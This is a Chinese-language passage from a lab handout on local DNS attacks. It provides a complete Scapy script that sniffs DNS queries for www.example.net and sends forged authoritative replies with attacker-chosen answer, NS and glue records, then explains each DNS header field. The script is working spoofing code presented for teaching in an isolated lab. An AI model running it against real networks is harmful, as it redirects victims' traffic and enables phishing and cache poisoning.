DNS 攻击实验 - 本地攻击
完成条件
本实验需要使用 Scapy 完成多个任务。以下示例代码展示了如何嗅探 DNS 查询,并伪造一个 DNS 响应,响应中包含一个答案部分的记录、两个权威部分的记录和两个附加部分的记录。代码已包含在 Labsetup.zip 文件中(在 volumes 文件夹内)。
\begin{lstlisting}[caption={示例代码: \texttt{dns\_sniff\_spoof.py}}]
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
# 交换源和目标 IP 地址
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# 交换源和目标端口号
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# 答案部分
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='10.0.2.5')
# 权威部分
NSsec1 = DNSRR(rrname='example.net', type='NS',
ttl=259200, rdata='ns1.example.net')
NSsec2 = DNSRR(rrname='example.net', type='NS',
ttl=259200, rdata='ns2.example.net')
# 附加部分
Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
ttl=259200, rdata='5.6.7.8')
# 构建 DNS 数据包
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, (*@\ding{81}@*)
qdcount=1, ancount=1, nscount=2, arcount=2,
an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# 构建整个 IP 数据包并发送
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# 嗅探 DNS 查询数据包并调用 spoof_dns() 方法
f = 'udp and dst port 53'
pkt = sniff(iface='br-43d947d991eb', filter=f, prn=spoof_dns) (*@\ding{73}@*)
\end{lstlisting}
请确保在第~\ding{73}行将接口名称替换为您系统中的名称。第~\ding{81}行构建了 DNS 数据负载,包括 DNS 头部和数据。每个字段的解释如下:
\begin{itemize}[noitemsep]
\item \texttt{id}: Transaction ID;应与请求中的相同
\item \texttt{qd}: 查询域名;应与请求中的相同
\item \texttt{aa}: 权威回答(1 表示答案包含权威回答)
\item \texttt{rd}: 是否启用递归查询(0 表示禁用递归查询)
\item \texttt{qr}: 查询响应位(1 表示响应)
\item \texttt{qdcount}: 查询部分中的记录数
\item \texttt{ancount}: 答案部分中的记录数
\item \texttt{nscount}: 权威部分中的记录数
\item \texttt{arcount}: 附加部分中的记录数
\item \texttt{an}: 答案部分
\item \texttt{ns}: 权威部分
\item \texttt{ar}: 附加部分
\end{itemize}
最后修改: 2025年05月8日 星期四 08:30